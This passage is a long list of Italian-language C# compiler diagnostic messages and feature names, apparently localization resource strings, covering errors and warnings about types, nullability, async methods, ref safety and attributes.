scrivibile + Il tipo '{0}' è definito in questo assembly, ma per esso è specificato un server d'inoltro dei tipi + Il criterio non è raggiungibile. È già stato gestito da un elemento precedente dell'espressione switch oppure non è possibile trovare una corrispondenza. + Espressione troppo lunga o complessa per essere compilata + Dopo la direttiva #pragma è previsto un commento su una sola riga o la fine riga + '{0}': la proprietà dell'evento deve avere entrambe le funzioni di accesso add e remove + Viene restituito un parametro per riferimento '{0}' ma l'ambito è impostato sul metodo corrente + È previsto { oppure ; o => + L'assembly di riferimento ha come destinazione un processore diverso + La classe wrapper '{0}' della coclasse gestita per l'interfaccia '{1}' non è stata trovata. Probabilmente manca un riferimento all'assembly. + '{0}' non implementa il modello '{1}'. '{2}' è ambiguo con '{3}'. + L'opzione '{0}' non è valida per /langversion. Usare '/langversion:?' per ottenere l'elenco dei valori supportati. + Un nome qualificato da alias non è un'espressione. + Era previsto un identificatore. + Il tipo '{0}' non è definito. + Il valore 'goto case' non è convertibile in modo implicito nel tipo '{0}' + L'assegnazione nell'espressione condizionale è sempre costante + Il membro condizionale '{0}' non può avere un parametro out + Non è possibile attendere in un contesto non sicuro + Un'istruzione incorporata non può essere una dichiarazione o un'istruzione con etichetta + '{0}' deve consentire l'override perché il record contenitore non è sealed. + Il tipo valore nullable non può essere Null. + funzioni locali statiche + Il costruttore è contrassegnato come esterno + Con l’operazione può verificarsi un overflow in fase di esecuzione. Usare la sintassi 'unchecked' per eseguire l'override + inizializzatore di raccolta + Il tipo predefinito '{0}' non è definito né importato + proprietà implementate automaticamente + riassegnazione ref + Un'espressione di tipo '{0}' non può essere gestita da un criterio di tipo '{1}'. Usare la versione '{2}' o versioni successive del linguaggio per abbinare un tipo aperto a un criterio costante. + La chiamata al metodo '{0}' inviata in modo dinamico potrebbe non riuscire in fase di esecuzione perché uno o più overload applicabili sono metodi condizionali. + Il tipo o il membro è obsoleto + Il costruttore '{0}' è contrassegnato come esterno + '{0}': le classi statiche non possono implementare interfacce + Lo struct di interoperabilità incorporato '{0}' può contenere solo campi di istanza pubblici. + Non è possibile derivare da '{0}' perché è un parametro di tipo + Il tipo di una variabile locale dichiarata in un'istruzione fixed deve essere un puntatore + alias extern + Tipo restituito non valido nell'attributo cref del commento XML + Non è possibile usare il tipo '{0}' in questo contesto perché non può essere rappresentato nei metadati. + Il supporto dei valori Null dei tipi riferimento nel tipo restituito non corrisponde al membro implementato, probabilmente a causa degli attributi del supporto dei valori Null. + L'attributo CLSCompliant non ha significato quando applicato a parametri + Il supporto dei valori Null nei vincoli del parametro di tipo non corrisponde ai vincoli per il parametro di tipo nel metodo di interfaccia implementato in modo implicito. + Il primo operando di un operatore 'as' non può essere un valore letterale di tupla senza un tipo naturale. + Il tipo di strumentazione non è valido: {0} + operatori definiti dall'utente controllati + Non è possibile dichiarare lo spazio dei nomi nel codice script + Una variabile public, protected o protected internal deve essere di tipo conforme a CLS (Common Language Specification). + Le dichiarazioni parziali di '{0}' contengono modificatori di accessibilità in conflitto + Non è possibile usare il tipo '{3}' come parametro di tipo '{2}' nel metodo o nel tipo generico '{0}'. Il tipo nullable '{3}' non soddisfa il vincolo di '{1}'. + Impossibile intercettare un operatore nameof. + Possibile confronto non intenzionale dei riferimenti. Eseguire il cast del lato destro + Non è possibile scrivere nel file di output '{0}' - '{1}' + È prevista la parola chiave 'this' o 'base' + L'attributo EnumeratorCancellationAttribute non avrà alcun effetto. L'attributo ha effetto solo su un parametro di tipo CancellationToken in un metodo di iteratore asincrono che restituisce IAsyncEnumerable + Il supporto dei valori Null dei tipi riferimento nel tipo restituito di '{0}' non corrisponde al membro implementato in modo implicito '{1}', probabilmente a causa degli attributi del supporto dei valori Null. + Il risultato dell'espressione è sempre lo stesso perché un valore di questo tipo non è mai uguale a 'null' + accesso all'elemento puntatore + '{0}' non esegue l'override della proprietà prevista da '{1}'. + Non è possibile usare 'yield' nel codice script di primo livello + Il metodo asincrono non contiene operatori 'await', pertanto verrà eseguito in modo sincrono + Il tipo predefinito è definito in più assembly nell'alias globale + Il nome '_' fa riferimento al tipo '{0}' e non al criterio di eliminazione. Usare '@_' per il tipo oppure 'var _' per eliminare. + Non è possibile dichiarare enumerazioni, classi e strutture in un'interfaccia che contiene un parametro di tipo 'in' o 'out'. + '{0}': un argomento di attributo non può usare parametri di tipo + È previsto un operatore che supporti l'overload + Non è possibile effettuare un'assegnazione a campi del campo statico di sola lettura '{0}' (tranne che in un costruttore statico o in un inizializzatore di variabile) + L'espressione di filtro è una costante 'true' + Non sono stati specificati file di origine. + '{0}' non può essere un punto di ingresso perché la firma è errata + Le clausole catch non possono seguire la clausola catch generale di un'istruzione try + Il metodo parziale '{0}' deve contenere modificatori di accessibilità perché include un modificatore 'virtual', 'override', 'sealed', 'new' o 'extern'. + Le conversioni di gestori di stringhe interpolate che fanno riferimento all'istanza indicizzata non possono essere utilizzate negli inizializzatori di membri dell'indicizzatore. + Manca l'argomento + Non è possibile convertire un'espressione lambda in un albero delle espressioni in cui l'argomento '{0}' del tipo non è un tipo delegato + In questo modo viene assegnato un valore che può eseguire l'escape del metodo corrente solo tramite un'istruzione return. + restituito + L'operazione è indefinita sui puntatori a void + Il delegato '{0}' non ha metodi Invoke oppure ha un metodo Invoke con un tipo restituito o tipi di parametro non supportati. + Non è possibile creare un tipo generico costruito a partire da un altro tipo generico costruito. + Il campo '{0}' viene letto prima di essere assegnato in modo esplicito, determinando un’assegnazione implicita precedente di 'default'. + operatore nameof + Non è possibile accettare l'indirizzo di un tipo gestito ('{0}'), recuperarne la dimensione o dichiarare un puntatore a esso + La funzionalità '{0}' non fa parte della specifica del linguaggio C# standard ISO e potrebbe non essere accettata da altri compilatori + L'attributo '{0}' specificato in un file di origine è in conflitto con l'opzione '{1}'. + Impossibile specificare l'attributo CLSCompliant su un modulo che differisce dall'attributo CLSCompliant sull'assembly + operatore di spostamento rilassato + Il parametro {0} non deve essere dichiarato con la parola chiave '{1}' + '{0}', a cui è assegnato l'attributo 'UnmanagedCallersOnly', non può essere convertito in un tipo delegato. Ottenere un puntatore a funzione per questo metodo. + Non è possibile includere un elemento await nel corpo di una clausola finally + Un metodo intercettore deve essere un metodo membro ordinario. + Il parametro out '{0}' deve essere assegnato prima che il controllo lasci il metodo corrente + I record possono ereditare solo dall'oggetto o da un altro record + È previsto un tipo oggetto, stringa o classe + Un albero delle espressioni non può contenere un'espressione with. + I metadati del netmodule collegato devono fornire un'immagine PE completa: '{0}'. + Uso del parametro out '{0}' non assegnato + È consigliabile non assegnare il nome 'global' a un alias + '{0}': un argomento di tipo di attributo non può usare parametri di tipo + Valori letterali stringa UTF-8 + /platform:anycpu32bitpreferred può essere usato solo con /t:exe, /t:winexe e /t:appcontainerexe + Nel metodo '{0}' manca l'annotazione `[DoesNotReturn]` per la corrispondenza del membro implementato o di cui è stato eseguito l'override. + Un campo ref può essere dichiarato solo in uno struct ref. + '{0}': una classe con l'attributo ComImport non può specificare una classe base + '{1}' ha l'attributo ComImport, pertanto '{0}' deve essere extern o abstract + L'interpolazione deve terminare con lo stesso numero di parentesi graffe di chiusura del numero di caratteri '$' con cui è iniziato il valore letterale stringa non elaborato. + variabile fixed + Conflitto tra nomi per il nome {0} + Una clausola catch precedente rileva già tutte le eccezioni del tipo this o super ('{0}') + Uso del campo '{0}' probabilmente non assegnato + Non è possibile specificare sia corpi di blocchi che corpi di espressioni. + Non è possibile usare System.Void da C#. Usare typeof(void) per ottenere l'oggetto di tipo void + La modalità di documentazione specificata non è supportata o non è valida: '{0}'. + L'operatore '{0}' è ambiguo su un operando di tipo '{1}' + Il supporto dei valori Null dei tipi riferimento nel tipo restituito non corrisponde al membro di cui è stato eseguito l'override. + Il nome dell'elemento di tupla viene ignorato perché nella destinazione di assegnazione è specificato un nome diverso o non è specificato alcun nome. + L'assembly di riferimento non ha un nome sicuro + Un metodo parziale non può implementare in modo esplicito un metodo di interfaccia + Il modificatore 'scoped' del parametro non corrisponde alla destinazione. + espressione lambda + Non è possibile usare '{0}' per il metodo Main perché è importato + Il parametro di un operatore unario deve essere il tipo che lo contiene + Il campo '{0}' deve essere assegnato completamente prima che il controllo sia restituito al chiamante. Provare a eseguire l'aggiornamento alla versione del linguaggio '{1}' per impostare automaticamente il campo come predefinito. + Il miglior metodo Add di overload '{0}' per l'elemento inizializzatore di raccolta è obsoleto. {1} + La lunghezza della costante di stringa risultante dalla concatenazione supera il valore di System.Int32.MaxValue. Provare a dividere la stringa in più costanti. + Per abilitare il controllo di conformità a CLS, è necessario specificare l'attributo CLSCompliant nell'assembly, non nel modulo + L'assembly '{0}' al quale si fa riferimento non ha un nome sicuro. + spazio dei nomi + La chiamata è ambigua tra i seguenti metodi o proprietà: '{0}' e '{1}' + L'espressione switch non gestisce alcuni input Null (non è esaustiva). Ad esempio, il criterio '{0}' non è coperto. + La costante a virgola mobile non è inclusa nell'intervallo di tipo '{0}' + Il delimitatore di valore letterale stringa non elaborato deve essere nella relativa riga. + Non è possibile leggere le informazione di debug del metodo '{0}' (token 0x{1:X8}) dall'assembly '{2}' + 'UnmanagedCallersOnly' può essere applicato solo a metodi ordinari statici, non astratti e non virtuali, o a funzioni locali statiche. + Non è possibile creare un puntatore a funzione per '{0}' perché non è un metodo statico + L'opzione '{0}' non è valida per /nullable. Deve essere 'disable', 'enable', 'warnings' o 'annotations' + Non è possibile creare le informazioni di debug per un testo di origine senza codifica. + Il modificatore 'scoped' del parametro '{0}' non corrisponde al membro sottoposto a override o implementato. + L'opzione '{0}' non è valida. La visibilità della risorsa deve essere 'public' o 'private' + È stato specificato un valore predefinito per il parametro 'ref readonly' '{0}', ma 'ref readonly' deve essere usato solo per i riferimenti. Provare a dichiarare il parametro come 'in'. + L'uso del risultato in questo contesto può esporre variabili a cui fa riferimento il parametro al di fuori dell'ambito della dichiarazione + A causa della precedenza, non è possibile usare l'operatore in questo punto. + Il membro del record '{0}' deve essere pubblico. + Non usare '{0}' perché è riservato al compilatore. + Non è possibile ripristinare l'avviso perché è stato disabilitato a livello globale + Il parametro viene acquisito nello stato del tipo di inclusione e il relativo valore viene utilizzato anche per inizializzare un campo, una proprietà o un evento. + __arglist non è consentito nell'elenco dei parametri degli iteratori + '{0}' non implementa il membro di interfaccia '{1}'. Il supporto dei valori Null dei tipi riferimento nell'interfaccia implementata dal tipo di base non corrisponde. + Non è possibile convertire il metodo async {0} nel tipo delegato '{1}'. Un metodo async {0} può restituire un valore nullo, Task o Task<T>, nessuno dei quali è convertibile in '{1}'. + L'uso della variabile '{0}' in questo contesto può esporre le variabili a cui si fa riferimento all'esterno del relativo ambito di dichiarazione + L'attributo '{0}' è duplicato + Non è possibile incorporare il tipo '{0}' perché contiene un membro non astratto. Provare a impostare la proprietà 'Incorpora tipi di interoperabilità' su false. + Non è possibile dedurre il tipo di delegato. + Non è possibile utilizzare il tipo locale di file '{0}' perché il percorso del file contenitore non può essere convertito nella rappresentazione di byte UTF-8 equivalente. {1} + È previsto un tag finale per l'elemento '{0}'. + separatore di cifra iniziale + Gli argomenti di tipo non sono consentiti nell'operatore nameof. + Il tipo o il nome dello spazio dei nomi '{0}' non esiste nello spazio dei nomi '{1}'. Probabilmente manca un riferimento all'assembly. + '{0}': non è possibile fornire argomenti quando si crea un'istanza di un tipo di variabile + Si è verificato un errore durante la lettura delle risorse Win32 - {0} + Il nome di tipo '{0}' non è stato trovato nello spazio dei nomi globale. Il tipo è stato inoltrato all'assembly '{1}'. Provare ad aggiungere un riferimento all'assembly. + Non è possibile restituire un'espressione di tipo 'void' + Un parametro out o ref non può avere un valore predefinito + Il nome di tipo '{0}' non è stato trovato. Il tipo è stato inoltrato all'assembly '{1}'. Provare ad aggiungere un riferimento all'assembly. + Gli iteratori non possono includere variabili locali per riferimento + Entrambe le dichiarazioni di metodo parziale devono contenere combinazioni identiche di modificatori 'virtual', 'override', 'sealed' e 'new'. + Impossibile specificare un valore predefinito per il parametro 'this' + L'espressione specificata non è mai del tipo fornito ('{0}') + Il commento XML ha un tag typeparam, ma non esiste nessun parametro di tipo con questo nome + Nessuna o entrambe le dichiarazioni di metodi parziali devono essere di tipo unsafe + assegnazione di coalescenza + In un assembly contrassegnato come conforme a CLS (Common Language Specification) è stato specificato un tipo di base non conforme a CLS. Rimuovere l'attributo che contrassegna l'assembly come conforme a CLS oppure l'attributo che indica il tipo come non conforme a CLS. + L'espressione specificata corrisponde sempre alla costante fornita. + Un metodo con vararg non può essere generico, non può essere in un tipo generico né contenere una matrice di parametri + Con 'await' il tipo '{0}' deve essere associato a un metodo 'GetAwaiter' appropriato. Manca una direttiva using per 'System'? + È previsto il segno ; oppure = (non è possibile specificare gli argomenti del costruttore nella dichiarazione) + L'uso del membro del risultato in questo contesto può esporre variabili a cui fa riferimento il parametro all'esterno del relativo ambito di dichiarazione + La chiamata dell'indicizzatore di intervallo implicito non può assegnare un nome all'argomento. + con struct + Non è possibile usare l'argomento per il parametro a causa delle differenze nel supporto dei valori Null dei tipi riferimento. + Il tipo restituito dell'operatore True o False deve essere booleano + Questo costruttore deve aggiungere 'SetsRequiredMembers' perché è concatenato a un costruttore che ha tale attributo. + Il vincolo non può essere la classe speciale '{0}' + '{0}': il runtime di destinazione non supporta tipi restituiti covarianti negli override. Il tipo restituito deve essere '{2}' in modo da corrispondere al membro '{1}' di cui è stato eseguito l'override + Il modificatore 'scoped' del parametro '{0}' non corrisponde al membro sottoposto a override o implementato. + Il tipo '{0}' inoltrato all'assembly '{1}' è in conflitto con il tipo '{2}' inoltrato all'assembly '{3}'. + L'argomento deve essere una variabile perché viene passato a un parametro 'ref readonly' + I parametri predefiniti non sono validi in questo contesto. + Un campo ref non può fare riferimento a un ref struct. + Impossibile utilizzare il tipo locale file '{0}' come tipo di base di tipo non locale '{1}'. + Il delegato '{0}' non ha un parametro denominato '{1}' + Non è possibile combinare la convenzione di chiamata 'managed' con identificatori di convenzione di chiamata non gestita. + Il confronto dei puntatori a funzione potrebbe produrre un risultato imprevisto perché i puntatori alla stessa funzione possono essere distinti. + '{0}' non è conforme a CLS perché l'interfaccia di base '{1}' non è conforme a CLS + Nell'interfaccia di origine '{0}' manca il metodo '{1}' necessario per incorporare l'evento '{2}'. + Il parametro di costruttore di attributo '{0}' è facoltativo, ma non sono stati specificati valori di parametro predefiniti. + Un'espressione lambda dell'albero delle espressioni non può contenere un operatore di propagazione Null. + L'alias '{0}' non è stato trovato + Inizializzazione del membro '{0}' duplicata + La proprietà '{0}' del contratto di uguaglianza record deve contenere una funzione di accesso get. + L'opzione '{0}' non è valida per /debug. Specificare 'portable', 'embedded', 'full' o 'pdbonly' + È possibile accettare l'indirizzo di un'espressione unfixed solo all'interno dell'inizializzatore di un'istruzione fixed + Per usare '@$' invece di '$@' per una stringa verbatim interpolata, usare la versione '{0}' o versioni successive del linguaggio. + '{0}': una classe con l'attributo ComImport non può specificare inizializzatori di campo. + Il metodo parziale '{0}' deve contenere modificatori di accessibilità perché include parametri 'out'. + '{0}': non è possibile dichiarare indicizzatori in una classe statica + CallerArgumentExpressionAttribute non avrà alcun effetto perché si applica a un membro usato in contesti che non consentono argomenti facoltativi + '{0}' è già presente nell'elenco delle interfacce + criterio per costante puntatore Null + '{0}': la proprietà o l'indicizzatore deve avere almeno una funzione di accesso + Le variabili tipizzate in modo implicito non possono essere costanti + È stata dichiarata una variabile con lo stesso nome di una variabile in un tipo di base, tuttavia non è stata usata la parola chiave new. Questo avviso informa l'utente che è necessario usare new. La variabile viene dichiarata come se nella dichiarazione fosse stata usata la parola chiave new. + Accessibilità incoerente: il tipo restituito '{1}' è meno accessibile del metodo '{0}' + I campi di istanza di struct di sola lettura devono essere di sola lettura. + Non è possibile assegnare '{1}' a '{0}' come ref perché l'ambito di escape di '{1}' è ridotto rispetto a quello di '{0}'. + Non è possibile applicare l'operatore '{0}' a operandi di tipo '{1}' e '{2}' che non sono rappresentazioni di UTF-8 byte + Usare Microsoft.CodeAnalysis.CSharp.SyntaxFactory.Literal per creare token letterali di tipo carattere. + Un albero delle espressioni non può contenere un accesso a indicizzatore System.Index o System.Range di criterio + L'utilizzo di matrici come argomenti di attributi non è conforme alle specifiche CLS + Uso del parametro out non assegnato + Nel contesto corrente non è possibile omettere l'argomento tipo + La grandezza del valore di allineamento {0} è maggiore di {1} e può comportare la creazione di una stringa formattata di grandi dimensioni. + Una funzione locale statica non può contenere un riferimento a 'this' o 'base'. + Il parametro non è stato letto. + Un albero delle espressioni non può una contenere conversione di stringa UTF-8 o un valore letterale. + dichiarazione di variabile out + Un parametro ref readonly non può avere l'attributo Out. + Il confronto con la costante integrale è inutile. La costante non è inclusa nell'intervallo del tipo '{0}' + 'experimental' + Non è possibile usare il tipo '{0}' dell'assembly '{1}' tra limiti di assembly perché contiene un argomento tipo generico che corrisponde a un tipo di interoperabilità incorporato. + Con il valore di costante può verificarsi un overflow in fase di esecuzione. Usare la sintassi 'unchecked' per eseguire l'override + parametri facoltativi lambda + costruttori struct senza parametri + I parametri di un operatore unario deve essere il tipo che lo contiene o il relativo parametro di tipo vincolato ad esso. + La funzione locale '{0}' è dichiarata, ma non viene mai usata + L'operatore as deve essere usato con un tipo riferimento o con un tipo che ammette i valori Null ('{0}' è un tipo valore che non ammette i valori Null) + L'elemento {0} astratto '{1}' non può essere contrassegnato come virtual + '{0}': le classi statiche non possono contenere operatori definiti dall'utente + L'etichetta '{0}' è la replica di un'altra etichetta con lo stesso nome in un ambito contenuto + Il membro '{1}' esegue l'override di '{0}'. In fase di esecuzione sono presenti più candidati per l'override. Il metodo che verrà chiamato dipende dall'implementazione. Usare un runtime più recente. + Metodi anonimi, espressioni lambda, espressioni di query e funzioni locali all'interno di un membro di istanza di uno struct non possono accedere al parametro del costruttore primario + È prevista una funzione di accesso get o set + Non usare 'System.ParamArrayAttribute'. Al suo posto, usare la parola chiave 'params'. + Il nuovo membro protetto è stato dichiarato nel tipo sealed + Il tipo inoltrato '{0}' è in conflitto con il tipo dichiarato nel modulo primario di questo assembly. + I due assembly differiscono per versione e/o numero di versione. Per consentire l'unifocazione, è necessario specificare le direttive nel file config dell'applicazione e specificare il nome sicuro corretto di un assembly. + Il costruttore '{0}' non può chiamare se stesso tramite un altro costruttore + Il file di riferimento '{0}' non è un assembly + L'operatore binario di overload '{0}' accetta due parametri + criterio or + Per usare l'attributo Conditional, la funzione locale '{0}' deve essere 'static' + L'attributo Conditional non è valido per '{0}' perché è un metodo di override + Non è possibile accettare e usare gli indirizzi dell'elemento '{0}' locale o dei rispettivi membri all'interno di un metodo anonimo o di un'espressione lambda + È previsto SearchCriteria. + Le interfacce non possono contenere costruttori di istanza + Poiché '{0}' restituisce un valore nullo, una parola chiave di restituzione non deve essere seguita da un'espressione di oggetto + L'operatore definito dall'utente non può convertire un tipo in se stesso + Non è possibile continuare perché la modifica include un riferimento a un tipo incorporato: '{0}'. + Non è possibile attendere la chiamata, pertanto l'esecuzione del metodo corrente continuerà prima del completamento della chiamata. Provare ad applicare l'operatore 'await' al risultato della chiamata. + Chiamare System.IDisposable.Dispose() sull'istanza allocata di {0} prima che tutti i relativi riferimenti siano esterni all'ambito. + L'istanza allocata di {0} non è stata eliminata in tutti i percorsi delle eccezioni. Chiamare System.IDisposable.Dispose() prima che tutti i relativi riferimenti siano esterni all'ambito. + Il nodo della sintassi da prevedere non può appartenere a un albero della sintassi della compilazione corrente. + L'attributo di sicurezza '{0}' ha un valore SecurityAction '{1}' non valido + Non è assegnare un parametro del costruttore primario di un tipo di sola lettura, tranne che nel setter di sola inizializzazione del tipo o in un inizializzatore di variabile + Una funzione locale statica non può contenere un riferimento a '{0}'. + Per eseguire il cast di un valore negativo, è necessario racchiuderlo tra parentesi. + Il nome locale '{0}' è troppo lungo per for PDB. Provare ad abbreviarlo oppure a compilare senza /debug. + È prevista una definizione di membro, un'istruzione o la fine del file + Il modificatore di tipo riferimento del parametro '{0}' non corrisponde al parametro corrispondente '{1}' nel membro sottoposto a override o implementato. + Una variabile di decostruzione non può essere dichiarata come variabile locale di riferimento + Non è possibile attendere la chiamata, pertanto l'esecuzione del metodo corrente continuerà prima del completamento della chiamata + La clausola using deve precedere tutti gli altri elementi definiti nello spazio dei nomi ad eccezione delle dichiarazioni di alias extern + L'argomento {0} deve essere una variabile perché viene passato a un parametro 'ref readonly' + L'operatore 'await' può essere usato solo all'interno di un metodo asincrono. Provare a contrassegnare questo metodo con il modificatore 'async' e modificare il tipo restituito su 'Task<{0}>'. + Il membro statico '{0}' non può essere contrassegnato come 'readonly'. + Un buffer fisso può avere una sola dimensione. + Impossibile applicare UnscopedRefAttribute a parametri con modificatore 'scoped'. + Conversione unboxing di un possibile valore Null. + Il risultato dell'espressione è sempre '{0}' perché un valore di tipo '{1}' non è mai uguale a 'null' di tipo '{2}' + variabile + Il supporto dei valori Null dei tipi riferimento nel valore di tipo '{0}' non corrisponde al tipo di destinazione '{1}'. + Non è possibile usare l'alias '{0}' con '::' perché l'alias fa riferimento a un tipo. Usare '.'. + È stato rilevato un marcatore di conflitti di merge + Il riferimento all'assembly Friend {0} non è valido. Nelle dichiarazioni InternalsVisibleTo non è possibile specificare la versione, le impostazioni cultura, il token di chiave pubblica o l'architettura del processore. + Non è possibile restituire un parametro per riferimento '{0}' tramite un parametro ref; può essere restituito solo in un'istruzione return + Il programma che usa istruzioni di primo livello deve essere un eseguibile. + In questo modo viene restituito un membro locale per riferimento, ma non è un riferimento locale + Il valore letterale carattere è vuoto + I vincoli 'class', 'struct', 'unmanaged', 'notnull' e 'default' non possono essere combinati o duplicati e devono essere specificati per primi nell'elenco di vincoli. + 'Non è possibile aggiungere '{0}' a questo assembly perché è già un assembly + Non è stato trovato alcun tipo ottimale per l'espressione switch. + La firma pubblica non è supportata per gli elementi netmodule. + '{0}' è già incluso nell'elenco di interfacce nel tipo '{2}' come '{1}'. + La parte sinistra di un'assegnazione ref deve essere una variabile ref. + Il campo o la proprietà non può essere di tipo '{0}' + Nella parte sinistra di una decostruzione non sono consentiti nomi di elemento di tupla. + Un'espressione lambda dell'albero delle espressioni non può contenere un gruppo di metodi + È previsto 'enable', 'disable' o 'restore' + Non è consentito usare il tipo riferimento nullable '{0}?' in un'espressione as. Usare il tipo sottostante '{0}'. + Non è possibile associare il delegato a '{0}' perché è un membro di 'System.Nullable<T>' + metodo + Le dichiarazioni parziali di '{0}' devono avere gli stessi nomi di parametro di tipo nello stesso ordine + __arglist non può contenere un argomento passato da 'in' o 'out' + Non è possibile usare il carattere o i caratteri '{0}' in questa posizione. + L'operatore 'await' può essere usato solo all'interno di un {0} asincrono. Contrassegnare questo {0} con il modificatore 'async'. + Il primo parametro di un metodo di estensione 'ref' '{0}' deve essere un tipo valore o un tipo generico vincolato a struct. + Modificatore di riferimento non corrispondente tra '{0}' e il puntatore a funzione '{1}' + Non è possibile usare '{0}' come modificatore di convenzione di chiamata. + Il concatenamento del modello semantico speculativo non è supportato. È necessario creare un modello speculativo dal modello ParentModel non speculativo. + Nel programma è definito più di un punto di ingresso. Compilare con /main per specificare il tipo contenente il punto di ingresso. + metodi parziali estesi + La funzionalità '{0}' non è disponibile in C# 8.0. Usare la versione {1} o versioni successive del linguaggio. + La funzionalità '{0}' non è disponibile C# 7.2. Usare la versione {1} o versioni successive del linguaggio. + La funzionalità '{0}' non è disponibile in C# 7.3. Usare la versione {1} o versioni successive del linguaggio. + La funzionalità '{0}' non è disponibile C# 7.1. Usare la versione {1} o versioni successive del linguaggio. + L'uso di variabili in questo contesto potrebbe esporre le variabili a cui si fa riferimento al di fuori dell'ambito della dichiarazione + Prevista stringa interpolata + Non è possibile includere il frammento XML '{1}' del file '{0}' - {2} + L'operatore di conversione della matrice inline non verrà utilizzato per la conversione dall'espressione del tipo dichiarante. + Il tipo '{0}' esportato dal modulo '{1}' è in conflitto con il tipo '{2}' esportato dal modulo '{3}'. + Una costante di tipo stringa 'null' non è supportata come criterio per ?{0}'. Usare invece una stringa vuota. + Un punto di ingresso non può essere generico o essere incluso in un tipo generico + '{0}' non contiene un metodo 'Main' statico appropriato + Il controllo viene restituito al chiamante prima che il campo '{0}' sia assegnato in modo esplicito, determinando un'assegnazione implicita precedente di 'default'. + Per risolvere le ambiguità, è necessario usare una sintassi diversa per il criterio di decostruzione di singoli elementi. È consigliabile aggiungere un indicatore di rimozione '_' dopo la parentesi di chiusura ')'. + Il nome completo per '{0}' è troppo lungo per le informazioni di debug. Compilare senza l'opzione '/debug'. + I campi di uno struct devono essere completamente assegnati in un costruttore prima che il controllo sia restituito al chiamante. Provare ad aggiornare la versione del linguaggio per impostare automaticamente il campo come predefinito. + I parametri facoltativi devono trovarsi dopo tutti i parametri obbligatori + Override di un errore con un avviso + Non è stato fatto riferimento a questa etichetta + La variabile '{0}' è dichiarata, ma non viene mai usata + L'uso del tipo generico {1} '{0}' richiede argomenti di tipo {2} + Il metodo '{0}' di 'UnmanagedCallersOnly' non può implementare il membro di interfaccia '{1}' nel tipo '{2}' + È prevista la direttiva #endif + Un'istruzione goto non può passare a una posizione successiva a una dichiarazione using. + Il metodo corrente chiama un metodo asincrono che restituisce un elemento Task o Task<TResult> e non applica l'operatore await al risultato. La chiamata al metodo asincrono avvia un'attività asincrona. Dal momento, però, che non viene applicato alcun operatore await, l'esecuzione del programma continua senza attendere il completamento dell'attività. Nella maggior parte dei casi questo non è il comportamento previsto. In genere, altri aspetti del metodo chiamante dipendono dai risultati della chiamata o è almeno previsto che il metodo chiamato venga completato prima del termine del metodo che contiene la chiamata. + +Un aspetto ugualmente importante è costituito dalla gestione delle eccezioni generate nel metodo asincrono chiamato. Un'eccezione generata in un metodo che restituisce un elemento Task o Task<TResult> viene archiviata nell'attività restituita. Se non si attende l'attività o si verifica esplicitamente la presenza di eccezioni, l'eccezione viene persa. Se si attende l'attività, l'eccezione viene nuovamente generata. + +Come procedura consigliata, è consigliabile attendere sempre la chiamata. + +È opportuno eliminare l'avviso solo se si è certi che non si vuole attendere il completamento della chiamata asincrona e che il metodo chiamato non genera alcuna eccezione. In tal caso, è possibile eliminare l'avviso assegnando il risultato dell'attività della chiamata a una variabile. + espressione di query + Il membro del record '{0}' deve essere protetto. + Il valore specificato per l'argomento dell'attributo '{0}' non è valido + Un assembly agnostico non può avere un modulo '{0}' specifico del processore. + Un identificatore di formato non può contenere uno spazio vuoto finale. + Non è possibile applicare UnscopedRefAttribute a questo parametro perché è senza ambito per impostazione predefinita. + Non è possibile usare il tipo '{0}' come tipo di destinazione di new() + Gli argomenti di InterpolatedStringHandlerArgumentAttribute non possono fare riferimento al parametro in cui viene usato l'attributo. + La variabile è assegnata, ma il suo valore non viene mai usato + Una funzione di accesso add o remove deve avere un corpo + 'L'implementazione esplicita del metodo '{0}' non può implementare '{1}' perché è una funzione di accesso + Il membro implementa il membro di interfaccia con più corrispondenze in fase di esecuzione + Il commento XML contiene un tag param duplicato per '{0}' + Il nome dell'enumeratore '{0}' è riservato e non può essere usato + Un'espressione lambda dell'albero delle espressioni non può contenere un inizializzatore di dizionario. + Il valore letterale stringa non elaborata interpolato non inizia con un numero di caratteri '$' sufficiente per consentire il contenuto di questo numero di parentesi graffe di chiusura consecutive. + Il metodo 'Slice' della matrice inline non verrà usato per l'espressione di accesso agli elementi. + Il membro '{0}' non nasconde un membro accessibile. La parola chiave new non è obbligatoria. + In una chiamata dinamica le specifiche di argomenti denominati devono trovarsi dopo tutti gli argomenti fissi specificati. + '{0}': i tipi statici non possono essere usati come parametri + Un numero che è stato passato alla direttiva per il preprocessore di avvisi #pragma non corrisponde a un numero di avviso valido. Verificare che il numero rappresenti un avviso e non un errore. + await in blocchi catch e blocchi finally + Il supporto dei valori Null dei tipi riferimento nel tipo restituito non corrisponde al delegato di destinazione, probabilmente a causa degli attributi del supporto dei valori Null. + '{0}': un punto di ingresso non può essere generico o essere incluso in un tipo generico + '{0}' non implementa il membro di interfaccia '{1}' + '{0}' non contiene una definizione per '{1}' e il miglior overload '{2}' del metodo di estensione richiede un ricevitore di tipo '{3}' + #r è consentito solo negli script + Non è possibile passare l'argomento di tipo dinamico alla funzione locale generica '{0}' con argomenti di tipo dedotti. + La posizione finale della direttiva #line deve essere maggiore o uguale alla posizione iniziale + L'albero della sintassi è già presente + Il parametro del costruttore primario è ombreggiato da un membro della base + La proprietà implementata automaticamente '{0}' deve essere assegnata completamente prima che il controllo sia restituito al chiamante. Provare a eseguire l'aggiornamento alla versione del linguaggio '{1}' per impostare automaticamente la proprietà come predefinita. + Uso di un campo probabilmente non assegnato. Provare ad aggiornare la versione della lingua per impostare automaticamente il campo come predefinito. + Dereferenziamento di un possibile riferimento Null. + Nome di output non valido: {0} + Una classe con l'attributo ComImport non può avere un costruttore definito dall'utente + Il nome del metodo CollectionBuilderAttribute non è valido. + L'espressione restituita deve essere di tipo '{0}' perché questo metodo viene restituito per riferimento + Non è possibile usare i membri del parametro del costruttore primario '{0}' come valore out o ref di un tipo di sola lettura, tranne che nel setter di sola inizializzazione del tipo o in un inizializzatore di variabile + Le proprietà implementate automaticamente devono avere funzioni di accesso get. + L'identificatore '{0}' non è conforme a CLS + Il tipo restituito per l'operatore ++ o -- deve corrispondere al tipo di parametro, essere derivato dal tipo di parametro oppure essere il parametro di tipo del tipo che lo contiene, a meno che il tipo di parametro non sia un parametro di tipo diverso. + L'operatore di conversione della matrice inline non verrà utilizzato per la conversione dall'espressione del tipo dichiarante. + Si è verificato un errore durante la lettura delle informazioni di debug per '{0}' + L'albero delle espressioni non può contenere il valore '{0}' per lo struct ref o il tipo limitato. + Le classi statiche non possono contenere distruttori + Il parametro '{0}' è un argomento per la conversione del gestore di stringhe interpolato nel parametro '{1}', ma l'argomento corrispondente viene specificato dopo l'espressione di stringa interpolata. Riordinare gli argomenti per spostare '{0}' prima di 